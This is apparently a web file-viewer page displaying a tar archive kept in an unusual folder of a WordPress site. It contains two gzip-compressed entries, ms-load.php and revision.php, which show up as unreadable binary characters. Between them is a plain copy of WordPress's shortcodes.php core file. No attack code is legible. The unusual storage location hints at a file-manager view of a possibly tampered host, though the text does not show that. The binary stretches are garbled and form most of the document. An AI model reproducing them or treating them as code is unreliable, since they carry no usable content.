Viewing File: /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/content.tar

uploads/wyw/ms-load.php.tar.gz000066600000014251152443022640012323 0ustar00<s6W >{dnzN8z6M2s5EҪ9rswS4I}ӅJQVN(ϋE<؏N.T8Zf=PBǩ<ӆ<=:|~pp'GGO;x!<rp@l?)u!sXc{kq=WZi	̏D+(P@ʸtT!L9k
%Lr4JkXN^zvsUU.aQ"4F2P*o\eI:/@a)Ⰼ4pԳԀcd% 6q'~m]ipW>p77W_Ş[ֈgz=?F_}%+TS#{<JS`\L[=b+s_,N'2:H3SDAD*(|C+TRTsWio!^PI?
v8 YIJ[b<JfY[ȉNP"Ŝhc(`2T1םŽ
XvKP]Ğ(4C`S3.y8RYM
y2ӌQsoIƷj;:͋7i+E`a<w2B`	FnqnZ*	xst (4&P(pma"%&b(>[!߂oq~h@po\__Upa(5JtP9(jG7U.Jg(t4:Ee^/"tC#CS(&>pygP:m+{
Jygpξ2p@PM/t3`9abd7p&OlJg̃.He$Ȁ[(.Ty߸nb5nDkػ|᧤cCpmU4+1ąaNF`C,Wʈ/صڮzΔ_y54<%5` \EA<܂um<3ݽwh$#C4d̈o&7/\;-nb-&L" "4\O9h0"`D*$Q1CA$`sg@o6wٺs6bXA*ekL#M-6>|wa!%8~a$ŔY%5X<qQD-K$JCq9h{.P<v.`HN)	4B#b<kq)湚n#vEzpGo'#yTwӿm	+uӧ+tQ\t6TnP٘Z0GNZA\	9PWY1ƀ:_><2GãY~2)9`OVc[ӻ;&ĎER#oFU/]cah5[<;GCp9S$g[8w\mgm/Nyg|aP1gٴe6g-e遷SPZYqf.w N /kd~zh{yx6H?](AcA[c(;Y{YQ+eZ^BRIGJLtHw򕟐FqZ@CT($ 2!\p]0"(:}4nx >d/J;:Rzn({rdf~Z˱V<!I%cXn bjmv;ƽ'b*k
l<iEJ5VvVV4Tt7i
'Zd'MT
4 qM)\}Tz^B3KжBނkXQ60ת4eִvSCYkP9Ne[+cKr_/Nu$ubQ%U+AVB'|w@Aq&8hSWm-瘜E[K\fQ%C#F2K6Rz,kY%#'Q5I<&s(ʨU lU>bGV*ɉIavx-`*
.0EܥQ黏Ўc
b&%OO\[[WD@jp3+Hd,?HN%WHQ}K;رT/mDˈ{@j\vgЁBÍtL,q`(7})mE,A;vAn(1ʚ۪6tt4uʈtԊp?$qo>ot 
T늯jͮkҚQ"
SBUCF2
lc%4Jh6,mFA0!+7'[N#1L\f+:auBg%GhYCYQaaѐc<jg`K%t?m6A˧-tX7rQEZ.$M+\AjR2ŔݏtLjF(YASLsŇSN\$qq'<'.!>3j6]N`72U>[~C,K=X c<%H+`PyXnš[ߜdssM7Y5"QOVX%3or/^J0uh	_Ѵ3$hSDiԍ2Ma2Zmt+E
tUL3*bfU⁵5=
e~`Q󣪬
K1HA@As+kT9(昂8I,쉾pah3wyҁ)ֲ(G&y$$*t_aS,h<WB*6(qB(G	@MsMeX.HFKNgh`,9>G#>*"mu9SK"ŬU_&"`%y	MV
D	i5B92-`# y#lK@e"7!ְH
!a2oX-D nHFoy_۰4[<m|Z&j&Oy㬎d)*rbǜҒi>W&
vɟX뇩U&NmpiGlꏧB]g[:񰳓febݓcWou>Z͈FlMeQr'75šfnʦP*a ŨNPﭨFSn!&.kriY
vNb鎡:bcǷS0RYΠ.rZ tOMEh[k}5iW]VgiZz{<~iZ1ίl0y\XjM]*gEH
 //Z+=]oı8(ܱF3OEkl~R!Bf%uȸ1lTtͫζ:^R.3Kvس:#>PR`.BeⳳsѬEYI*`ev%F02IW2t)ptܜch40ܡW2I
6-mm쇲c(0%LsӐq׸lPǎv%m{/EܝV7Yb,\lWtro\.95J&c.weX=YyY>ނW	9BHjH0W&d
pxVh	SK*ӎam{pԭ)6MR!p};6toi^$O_u]\m~?ݵ'6iMD[x4!ð
oE_$mOEI8e9ZLz$$-i$[\,].'ƭ{;Ul:;LLà(
hyAB#fIr7M\+s.ij8V=KTGaCyv@3#%8vrXn<U߰TX
4t̴@LLgfmiǝqCoyF
n
3+Cu:hΗ"!e<hF<"O:ޓyU3Z^;{RgQ0Mv)3%ȅ%̈#1]gF]rĊ4$ǿ
מZpxݻkS]:#4Xd7i-ҥ;S*(60`
JRr!/D
Cdt-E)0J,ס
thpnD3|Saw~1ڷ-loZRJD<Z5[k-Z.1ipLvKCPv/sџE1Nf6G_;ߚQb~&v5Gp$}#"Xz̡ýUVK
e2SQdB4aHլH"eT́K'*y//.߿|qՊУJAKqt4KJjyg* -#OE(O@,)tKTjg>Wm
7R's~Q+?nQ\qMۀ矪<gT1.W#2s>ʿ*}AjMɼ_bF?_x~IVH2F1v-8\SX,ϵk2κ;\0uh.	<rUdCi_W)E16.|hgEw-Z`iH0 GEͅӻ<(GHd42',}
۞>
Y)Y#ߍ 3DOwi :J@
Ḣ^_m밍@-TtH.[9k}Nv]_#]B%q8q|!@S%{)	c1lSDEa<]yI.ב&ŗ}%YP~7'#|BrZÌ,έK,n@ǖ%TZ_H4a!E߯?~2;mEe{X||.ܟJYLOFNB'zۏ/˿ַt0[̮<.?/кI,╜9B2yu^&O@95	@.,a]1<Aa][?(Oߗ斜-`z(d W
'XDIt'A*jB~ûK.[g)y| 9kYf$4G.W5,`=ovp(fy1rsDc~#*aRW%Soj `9]
pa	h`oɴ6P8;݆TV&gjRflN+A6i^\߫Ԧs]~fO4r%*ȪMe^bY!&)t5Tw*FEªa(|6k}$P\1b ikg(:?E&in}7SPU#H/Ǟ=)c'&Xx(^MxQ
<?Ml[l#p%xqd|A$QS>Gf6W*\"\"B=2;0c!Uኁc0++P#|Ԅ׹>TəF8
}n()U=$lJd)dqO޺*C
Z.?t+$v:&~͋˷oc=e;6B&OX;>?p6ҿ2~'k
͏,mw Ҩ].)\
ģG-`v"Ɔ]|Xe("ك`#VWza=d#ln?m/N:XsFus͵9SO-yK-w4^yq-"n6X`MٻOUtSog!mD6]j:-j(t8X2Q.?>BdNTuploads/wyw/shortcodes.php.tar000066600000062000152443022640012520 0ustar00home/cienp/public_html/inct-inovamed/wp-includes/shortcodes.php000064400000056762152442705430020777 0ustar00<?php
/**
 * WordPress API for creating bbcode-like tags or what WordPress calls
 * "shortcodes". The tag and attribute parsing or regular expression code is
 * based on the Textpattern tag parser.
 *
 * A few examples are below:
 *
 * [shortcode /]
 * [shortcode foo="bar" baz="bing" /]
 * [shortcode foo="bar"]content[/shortcode]
 *
 * Shortcode tags support attributes and enclosed content, but does not entirely
 * support inline shortcodes in other shortcodes. You will have to call the
 * shortcode parser in your function to account for that.
 *
 * {@internal
 * Please be aware that the above note was made during the beta of WordPress 2.6
 * and in the future may not be accurate. Please update the note when it is no
 * longer the case.}}
 *
 * To apply shortcode tags to content:
 *
 *     $out = do_shortcode( $content );
 *
 * @link https://developer.wordpress.org/plugins/shortcodes/
 *
 * @package WordPress
 * @subpackage Shortcodes
 * @since 2.5.0
 */

/**
 * Container for storing shortcode tags and their hook to call for the shortcode.
 *
 * @since 2.5.0
 *
 * @name $shortcode_tags
 * @var array
 * @global array $shortcode_tags
 */
$shortcode_tags = array();

/**
 * Adds a new shortcode.
 *
 * Care should be taken through prefixing or other means to ensure that the
 * shortcode tag being added is unique and will not conflict with other,
 * already-added shortcode tags. In the event of a duplicated tag, the tag
 * loaded last will take precedence.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string   $tag      Shortcode tag to be searched in post content.
 * @param callable $callback The callback function to run when the shortcode is found.
 *                           Every shortcode callback is passed three parameters by default,
 *                           including an array of attributes (`$atts`), the shortcode content
 *                           or null if not set (`$content`), and finally the shortcode tag
 *                           itself (`$shortcode_tag`), in that order.
 */
function add_shortcode( $tag, $callback ) {
	global $shortcode_tags;

	if ( '' === trim( $tag ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			__( 'Invalid shortcode name: Empty name given.' ),
			'4.4.0'
		);
		return;
	}

	if ( 0 !== preg_match( '@[<>&/\[\]\x00-\x20=]@', $tag ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: Shortcode name, 2: Space-separated list of reserved characters. */
				__( 'Invalid shortcode name: %1$s. Do not use spaces or reserved characters: %2$s' ),
				$tag,
				'& / < > [ ] ='
			),
			'4.4.0'
		);
		return;
	}

	$shortcode_tags[ $tag ] = $callback;
}

/**
 * Removes hook for shortcode.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $tag Shortcode tag to remove hook for.
 */
function remove_shortcode( $tag ) {
	global $shortcode_tags;

	unset( $shortcode_tags[ $tag ] );
}

/**
 * Clears all shortcodes.
 *
 * This function clears all of the shortcode tags by replacing the shortcodes global with
 * an empty array. This is actually an efficient method for removing all shortcodes.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 */
function remove_all_shortcodes() {
	global $shortcode_tags;

	$shortcode_tags = array();
}

/**
 * Determines whether a registered shortcode exists named $tag.
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $tag Shortcode tag to check.
 * @return bool Whether the given shortcode exists.
 */
function shortcode_exists( $tag ) {
	global $shortcode_tags;
	return array_key_exists( $tag, $shortcode_tags );
}

/**
 * Determines whether the passed content contains the specified shortcode.
 *
 * @since 3.6.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to search for shortcodes.
 * @param string $tag     Shortcode tag to check.
 * @return bool Whether the passed content contains the given shortcode.
 */
function has_shortcode( $content, $tag ) {
	if ( ! str_contains( $content, '[' ) ) {
		return false;
	}

	if ( shortcode_exists( $tag ) ) {
		preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
		if ( empty( $matches ) ) {
			return false;
		}

		foreach ( $matches as $shortcode ) {
			if ( $tag === $shortcode[2] ) {
				return true;
			} elseif ( ! empty( $shortcode[5] ) && has_shortcode( $shortcode[5], $tag ) ) {
				return true;
			}
		}
	}
	return false;
}

/**
 * Returns a list of registered shortcode names found in the given content.
 *
 * Example usage:
 *
 *     get_shortcode_tags_in_content( '[audio src="file.mp3"][/audio] [foo] [gallery ids="1,2,3"]' );
 *     // array( 'audio', 'gallery' )
 *
 * @since 6.3.2
 *
 * @param string $content The content to check.
 * @return string[] An array of registered shortcode names found in the content.
 */
function get_shortcode_tags_in_content( $content ) {
	if ( ! str_contains( $content, '[' ) ) {
		return array();
	}

	preg_match_all( '/' . get_shortcode_regex() . '/', $content, $matches, PREG_SET_ORDER );
	if ( empty( $matches ) ) {
		return array();
	}

	$tags = array();
	foreach ( $matches as $shortcode ) {
		$tags[] = $shortcode[2];

		if ( ! empty( $shortcode[5] ) ) {
			$deep_tags = get_shortcode_tags_in_content( $shortcode[5] );
			if ( ! empty( $deep_tags ) ) {
				$tags = array_merge( $tags, $deep_tags );
			}
		}
	}

	return $tags;
}

/**
 * Searches content for shortcodes and filter shortcodes through their hooks.
 *
 * This function is an alias for do_shortcode().
 *
 * @since 5.4.0
 *
 * @see do_shortcode()
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function apply_shortcodes( $content, $ignore_html = false ) {
	return do_shortcode( $content, $ignore_html );
}

/**
 * Searches content for shortcodes and filter shortcodes through their hooks.
 *
 * If there are no shortcode tags defined, then the content will be returned
 * without any filtering. This might cause issues when plugins are disabled but
 * the shortcode will still show up in the post or content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags List of shortcode tags and their callback hooks.
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, shortcodes inside HTML elements will be skipped.
 *                            Default false.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcode( $content, $ignore_html = false ) {
	global $shortcode_tags;

	if ( ! str_contains( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );
	$tagnames = array_intersect( array_keys( $shortcode_tags ), $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	// Ensure this context is only added once if shortcodes are nested.
	$has_filter   = has_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	$filter_added = false;

	if ( ! $has_filter ) {
		$filter_added = add_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	}

	$content = do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	// Only remove the filter if it was added in this scope.
	if ( $filter_added ) {
		remove_filter( 'wp_get_attachment_image_context', '_filter_do_shortcode_context' );
	}

	return $content;
}

/**
 * Filter the `wp_get_attachment_image_context` hook during shortcode rendering.
 *
 * When wp_get_attachment_image() is called during shortcode rendering, we need to make clear
 * that the context is a shortcode and not part of the theme's template rendering logic.
 *
 * @since 6.3.0
 * @access private
 *
 * @return string The filtered context value for wp_get_attachment_images when doing shortcodes.
 */
function _filter_do_shortcode_context() {
	return 'do_shortcode';
}

/**
 * Retrieves the shortcode regular expression for searching.
 *
 * The regular expression combines the shortcode tags in the regular expression
 * in a regex class.
 *
 * The regular expression contains 6 different sub matches to help with parsing.
 *
 * 1 - An extra [ to allow for escaping shortcodes with double [[]]
 * 2 - The shortcode name
 * 3 - The shortcode argument list
 * 4 - The self closing /
 * 5 - The content of a shortcode when it wraps some content.
 * 6 - An extra ] to allow for escaping shortcodes with double [[]]
 *
 * @since 2.5.0
 * @since 4.4.0 Added the `$tagnames` parameter.
 *
 * @global array $shortcode_tags
 *
 * @param array $tagnames Optional. List of shortcodes to find. Defaults to all registered shortcodes.
 * @return string The shortcode search regular expression.
 */
function get_shortcode_regex( $tagnames = null ) {
	global $shortcode_tags;

	if ( empty( $tagnames ) ) {
		$tagnames = array_keys( $shortcode_tags );
	}
	$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );

	/*
	 * WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag().
	 * Also, see shortcode_unautop() and shortcode.js.
	 */

	// phpcs:disable Squiz.Strings.ConcatenationSpacing.PaddingFound -- don't remove regex indentation
	return '\\['                             // Opening bracket.
		. '(\\[?)'                           // 1: Optional second opening bracket for escaping shortcodes: [[tag]].
		. "($tagregexp)"                     // 2: Shortcode name.
		. '(?![\\w-])'                       // Not followed by word character or hyphen.
		. '('                                // 3: Unroll the loop: Inside the opening shortcode tag.
		.     '[^\\]\\/]*'                   // Not a closing bracket or forward slash.
		.     '(?:'
		.         '\\/(?!\\])'               // A forward slash not followed by a closing bracket.
		.         '[^\\]\\/]*'               // Not a closing bracket or forward slash.
		.     ')*?'
		. ')'
		. '(?:'
		.     '(\\/)'                        // 4: Self closing tag...
		.     '\\]'                          // ...and closing bracket.
		. '|'
		.     '\\]'                          // Closing bracket.
		.     '(?:'
		.         '('                        // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags.
		.             '[^\\[]*+'             // Not an opening bracket.
		.             '(?:'
		.                 '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag.
		.                 '[^\\[]*+'         // Not an opening bracket.
		.             ')*+'
		.         ')'
		.         '\\[\\/\\2\\]'             // Closing shortcode tag.
		.     ')?'
		. ')'
		. '(\\]?)';                          // 6: Optional second closing bracket for escaping shortcodes: [[tag]].
	// phpcs:enable
}

/**
 * Regular Expression callable for do_shortcode() for calling shortcode hook.
 *
 * @see get_shortcode_regex() for details of the match array contents.
 *
 * @since 2.5.0
 * @access private
 *
 * @global array $shortcode_tags
 *
 * @param array $m {
 *     Regular expression match array.
 *
 *     @type string $0 Entire matched shortcode text.
 *     @type string $1 Optional second opening bracket for escaping shortcodes.
 *     @type string $2 Shortcode name.
 *     @type string $3 Shortcode arguments list.
 *     @type string $4 Optional self closing slash.
 *     @type string $5 Content of a shortcode when it wraps some content.
 *     @type string $6 Optional second closing bracket for escaping shortcodes.
 * }
 * @return string Shortcode output.
 */
function do_shortcode_tag( $m ) {
	global $shortcode_tags;

	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	$tag  = $m[2];
	$attr = shortcode_parse_atts( $m[3] );

	if ( ! is_callable( $shortcode_tags[ $tag ] ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			/* translators: %s: Shortcode tag. */
			sprintf( __( 'Attempting to parse a shortcode without a valid callback: %s' ), $tag ),
			'4.3.0'
		);
		return $m[0];
	}

	/**
	 * Filters whether to call a shortcode callback.
	 *
	 * Returning a non-false value from filter will short-circuit the
	 * shortcode generation process, returning that value instead.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 The `$attr` parameter is always an array.
	 *
	 * @param false|string $output Short-circuit return value. Either false or the value to replace the shortcode with.
	 * @param string       $tag    Shortcode name.
	 * @param array        $attr   Shortcode attributes array, can be empty if the original arguments string cannot be parsed.
	 * @param array        $m      Regular expression match array.
	 */
	$return = apply_filters( 'pre_do_shortcode_tag', false, $tag, $attr, $m );
	if ( false !== $return ) {
		return $return;
	}

	$content = isset( $m[5] ) ? $m[5] : null;

	$output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6];

	/**
	 * Filters the output created by a shortcode callback.
	 *
	 * @since 4.7.0
	 * @since 6.5.0 The `$attr` parameter is always an array.
	 *
	 * @param string $output Shortcode output.
	 * @param string $tag    Shortcode name.
	 * @param array  $attr   Shortcode attributes array, can be empty if the original arguments string cannot be parsed.
	 * @param array  $m      Regular expression match array.
	 */
	return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m );
}

/**
 * Searches only inside HTML elements for shortcodes and process them.
 *
 * Any [ or ] characters remaining inside elements will be HTML encoded
 * to prevent interference with shortcodes that are outside the elements.
 * Assumes $content processed by KSES already.  Users with unfiltered_html
 * capability may get unexpected output if angle braces are nested in tags.
 *
 * @since 4.2.3
 *
 * @param string $content     Content to search for shortcodes.
 * @param bool   $ignore_html When true, all square braces inside elements will be encoded.
 * @param array  $tagnames    List of shortcodes to find.
 * @return string Content with shortcodes filtered out.
 */
function do_shortcodes_in_html_tags( $content, $ignore_html, $tagnames ) {
	// Normalize entities in unfiltered HTML before adding placeholders.
	$trans   = array(
		'&#91;' => '&#091;',
		'&#93;' => '&#093;',
	);
	$content = strtr( $content, $trans );
	$trans   = array(
		'[' => '&#91;',
		']' => '&#93;',
	);

	$pattern = get_shortcode_regex( $tagnames );
	$textarr = wp_html_split( $content );

	foreach ( $textarr as &$element ) {
		if ( '' === $element || '<' !== $element[0] ) {
			continue;
		}

		$noopen  = ! str_contains( $element, '[' );
		$noclose = ! str_contains( $element, ']' );
		if ( $noopen || $noclose ) {
			// This element does not contain shortcodes.
			if ( $noopen xor $noclose ) {
				// Need to encode stray '[' or ']' chars.
				$element = strtr( $element, $trans );
			}
			continue;
		}

		if ( $ignore_html || str_starts_with( $element, '<!--' ) || str_starts_with( $element, '<![CDATA[' ) ) {
			// Encode all '[' and ']' chars.
			$element = strtr( $element, $trans );
			continue;
		}

		$attributes = wp_kses_attr_parse( $element );
		if ( false === $attributes ) {
			// Some plugins are doing things like [name] <[email]>.
			if ( 1 === preg_match( '%^<\s*\[\[?[^\[\]]+\]%', $element ) ) {
				$element = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $element );
			}

			// Looks like we found some unexpected unfiltered HTML. Skipping it for confidence.
			$element = strtr( $element, $trans );
			continue;
		}

		// Get element name.
		$front   = array_shift( $attributes );
		$back    = array_pop( $attributes );
		$matches = array();
		preg_match( '%[a-zA-Z0-9]+%', $front, $matches );
		$elname = $matches[0];

		// Look for shortcodes in each attribute separately.
		foreach ( $attributes as &$attr ) {
			$open  = strpos( $attr, '[' );
			$close = strpos( $attr, ']' );
			if ( false === $open || false === $close ) {
				continue; // Go to next attribute. Square braces will be escaped at end of loop.
			}
			$double = strpos( $attr, '"' );
			$single = strpos( $attr, "'" );
			if ( ( false === $single || $open < $single ) && ( false === $double || $open < $double ) ) {
				/*
				 * $attr like '[shortcode]' or 'name = [shortcode]' implies unfiltered_html.
				 * In this specific situation we assume KSES did not run because the input
				 * was written by an administrator, so we should avoid changing the output
				 * and we do not need to run KSES here.
				 */
				$attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr );
			} else {
				/*
				 * $attr like 'name = "[shortcode]"' or "name = '[shortcode]'".
				 * We do not know if $content was unfiltered. Assume KSES ran before shortcodes.
				 */
				$count    = 0;
				$new_attr = preg_replace_callback( "/$pattern/", 'do_shortcode_tag', $attr, -1, $count );
				if ( $count > 0 ) {
					// Sanitize the shortcode output using KSES.
					$new_attr = wp_kses_one_attr( $new_attr, $elname );
					if ( '' !== trim( $new_attr ) ) {
						// The shortcode is safe to use now.
						$attr = $new_attr;
					}
				}
			}
		}
		$element = $front . implode( '', $attributes ) . $back;

		// Now encode any remaining '[' or ']' chars.
		$element = strtr( $element, $trans );
	}

	$content = implode( '', $textarr );

	return $content;
}

/**
 * Removes placeholders added by do_shortcodes_in_html_tags().
 *
 * @since 4.2.3
 *
 * @param string $content Content to search for placeholders.
 * @return string Content with placeholders removed.
 */
function unescape_invalid_shortcodes( $content ) {
	// Clean up entire string, avoids re-parsing HTML.
	$trans = array(
		'&#91;' => '[',
		'&#93;' => ']',
	);

	$content = strtr( $content, $trans );

	return $content;
}

/**
 * Retrieves the shortcode attributes regex.
 *
 * @since 4.4.0
 *
 * @return string The shortcode attribute regular expression.
 */
function get_shortcode_atts_regex() {
	return '/([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*\'([^\']*)\'(?:\s|$)|([\w-]+)\s*=\s*([^\s\'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|\'([^\']*)\'(?:\s|$)|(\S+)(?:\s|$)/';
}

/**
 * Retrieves all attributes from the shortcodes tag.
 *
 * The attributes list has the attribute name as the key and the value of the
 * attribute as the value in the key/value pair. This allows for easier
 * retrieval of the attributes, since all attributes have to be known.
 *
 * @since 2.5.0
 * @since 6.5.0 The function now always returns an array,
 *              even if the original arguments string cannot be parsed or is empty.
 *
 * @param string $text Shortcode arguments list.
 * @return array Array of attribute values keyed by attribute name.
 *               Returns empty array if there are no attributes
 *               or if the original arguments string cannot be parsed.
 */
function shortcode_parse_atts( $text ) {
	$atts    = array();
	$pattern = get_shortcode_atts_regex();
	$text    = preg_replace( "/[\x{00a0}\x{200b}]+/u", ' ', $text );
	if ( preg_match_all( $pattern, $text, $match, PREG_SET_ORDER ) ) {
		foreach ( $match as $m ) {
			if ( ! empty( $m[1] ) ) {
				$atts[ strtolower( $m[1] ) ] = stripcslashes( $m[2] );
			} elseif ( ! empty( $m[3] ) ) {
				$atts[ strtolower( $m[3] ) ] = stripcslashes( $m[4] );
			} elseif ( ! empty( $m[5] ) ) {
				$atts[ strtolower( $m[5] ) ] = stripcslashes( $m[6] );
			} elseif ( isset( $m[7] ) && strlen( $m[7] ) ) {
				$atts[] = stripcslashes( $m[7] );
			} elseif ( isset( $m[8] ) && strlen( $m[8] ) ) {
				$atts[] = stripcslashes( $m[8] );
			} elseif ( isset( $m[9] ) ) {
				$atts[] = stripcslashes( $m[9] );
			}
		}

		// Reject any unclosed HTML elements.
		foreach ( $atts as &$value ) {
			if ( str_contains( $value, '<' ) ) {
				if ( 1 !== preg_match( '/^[^<]*+(?:<[^>]*+>[^<]*+)*+$/', $value ) ) {
					$value = '';
				}
			}
		}
	}

	return $atts;
}

/**
 * Combines user attributes with known attributes and fill in defaults when needed.
 *
 * The pairs should be considered to be all of the attributes which are
 * supported by the caller and given as a list. The returned attributes will
 * only contain the attributes in the $pairs list.
 *
 * If the $atts list has unsupported attributes, then they will be ignored and
 * removed from the final returned list.
 *
 * @since 2.5.0
 *
 * @param array  $pairs     Entire list of supported attributes and their defaults.
 * @param array  $atts      User defined attributes in shortcode tag.
 * @param string $shortcode Optional. The name of the shortcode, provided for context to enable filtering
 * @return array Combined and filtered attribute list.
 */
function shortcode_atts( $pairs, $atts, $shortcode = '' ) {
	$atts = (array) $atts;
	$out  = array();
	foreach ( $pairs as $name => $default ) {
		if ( array_key_exists( $name, $atts ) ) {
			$out[ $name ] = $atts[ $name ];
		} else {
			$out[ $name ] = $default;
		}
	}

	if ( $shortcode ) {
		/**
		 * Filters shortcode attributes.
		 *
		 * If the third parameter of the shortcode_atts() function is present then this filter is available.
		 * The third parameter, $shortcode, is the name of the shortcode.
		 *
		 * @since 3.6.0
		 * @since 4.4.0 Added the `$shortcode` parameter.
		 *
		 * @param array  $out       The output array of shortcode attributes.
		 * @param array  $pairs     The supported attributes and their defaults.
		 * @param array  $atts      The user defined shortcode attributes.
		 * @param string $shortcode The shortcode name.
		 */
		$out = apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts, $shortcode );
	}

	return $out;
}

/**
 * Removes all shortcode tags from the given content.
 *
 * @since 2.5.0
 *
 * @global array $shortcode_tags
 *
 * @param string $content Content to remove shortcode tags.
 * @return string Content without shortcode tags.
 */
function strip_shortcodes( $content ) {
	global $shortcode_tags;

	if ( ! str_contains( $content, '[' ) ) {
		return $content;
	}

	if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) {
		return $content;
	}

	// Find all registered tag names in $content.
	preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches );

	$tags_to_remove = array_keys( $shortcode_tags );

	/**
	 * Filters the list of shortcode tags to remove from the content.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $tags_to_remove Array of shortcode tags to remove.
	 * @param string $content        Content shortcodes are being removed from.
	 */
	$tags_to_remove = apply_filters( 'strip_shortcodes_tagnames', $tags_to_remove, $content );

	$tagnames = array_intersect( $tags_to_remove, $matches[1] );

	if ( empty( $tagnames ) ) {
		return $content;
	}

	$content = do_shortcodes_in_html_tags( $content, true, $tagnames );

	$pattern = get_shortcode_regex( $tagnames );
	$content = preg_replace_callback( "/$pattern/", 'strip_shortcode_tag', $content );

	// Always restore square braces so we don't break things like <!--[if IE ]>.
	$content = unescape_invalid_shortcodes( $content );

	return $content;
}

/**
 * Strips a shortcode tag based on RegEx matches against post content.
 *
 * @since 3.3.0
 *
 * @param array $m RegEx matches against post content.
 * @return string|false The content stripped of the tag, otherwise false.
 */
function strip_shortcode_tag( $m ) {
	// Allow [[foo]] syntax for escaping a tag.
	if ( '[' === $m[1] && ']' === $m[6] ) {
		return substr( $m[0], 1, -1 );
	}

	return $m[1] . $m[6];
}
uploads/wyw/revision.php.tar.gz000066600000017421152443022640012627 0ustar00=kwr+6>jH%E9NQrMզ$W QR'R~ϽkrNl],/|OY'N>/Y,ILzʮ:/t}ɓOƏ?珟<yɓ?賬!/[XO>Te(r	L#xH&oL\V*kzZ//vwS>ȚV7|2UyV*/z*2Ք"Sur*T,5aOF:e(I&\H4S[jH*plw
 )}lJDnZ٢&Iy
(Qdp-'	PM-Z@ܾ(OX15Ue˄/|~K'K%uV(
(Fa.eѨlhnyEY3kuT6j	xp*k\MH>SxiKuU86wԼE;bp;WIQgj[oڒa|YO777K5Tnz!}zgj{
 ܡGUϊ<21hc@n@oTlGͤ7ټ6U$NSA݀׼Ix,Wk@f=#U .J_)w>
0GIѴ:A<F`(~'_SADPjf[ k,k]I9 @pTô=5ѥXZtI?k4%p}QBm@3zwŢ'~@Z:EZdQA~~Qa(Ve9<B|!`Zdj;ݢ>M(0,Ml(zO0
r:f	tnym_%%X<|oWƬ&7eūHB/)oMrQd+m$2
P[
ևDnNk,_Ynگ?	Ӡ흿i|ݎNkw,$5~&"7W=oN=''ggK?اn?砋fך4-zf
1fg;#FC7OhG"h}[7LQ.	5.yCge}Sh
ͿwFA"y$7]yīD:EKaRi2fSE,I@Q~1zB/q5Ao2ѐL-Mjzjmk[U4=52W0TQ=BLH>A
#AȮʸ6G@_T4PM6ډ(3^g[&)A#5bM	dYBҁv\b}OolT[4x ëPmeV"aMTqn?Mr[5)JE8
p"%xy[@}EUջ
1瑚g7Ã_K2 [R6Xُ'~z<_H-R#0RO%&Ҫ
Ls=z˭{N.n%P>3T\/jNyٝ
pkI+% 7W`d0M44_e/y9[PljJ$Y/]
X"eRU+#rEj9/.WHɱ$Jwr/ռ`rl87OxTzM-Ae9L*	~eQrYeX!%G=X,1Z/z6|&{c<2	F#jfv)П77h9F=nf'J
OTf ʈ0n
ym4w ,Vs2hPc
rUfeXp,X)2g,1]c&eIc,RKˋ9B+2%52yh#'\v6wr͟8NV>@tԏp|Ra<[3(
JgFb㮠S7-O}Xo$,)߲fjdn:|e0!sNH^G|I~YED8i	[J?@PCIiK~S%8PCGTHL
6Nb!U"V0imQMŲ8ދ5c\5>w)G暫w@ X"˦ӄ'HTxt-O7Y%&oGӬve:'m!nʘ@<pk0]CKm&=̔^**Jc<'iO£X`j԰[V&R@bm^ƸkRZ5b>wㅼy:kNuzp{îoα
nWlƝ!]V{w	޵"!82tHȡٓM
#O?WóC̵.v7FgZ
5%|gkREQQazM(p9AP_b>Ɓ痸ClA-mب7UMq{*EZ`&!&1
uzHЌFa
Λ֜\N{Aw?XJIb	;8<;k,(J0Obb}R;b+!M+2-$[舳m li`pOvvqKx/ -~q;p 
tvCxwVb	r\zIƴh01GH@_v'o‹PÝoZC?mtWtg~ѩɻߏIxKd^B"x[6C@Di	E""=15"x&~
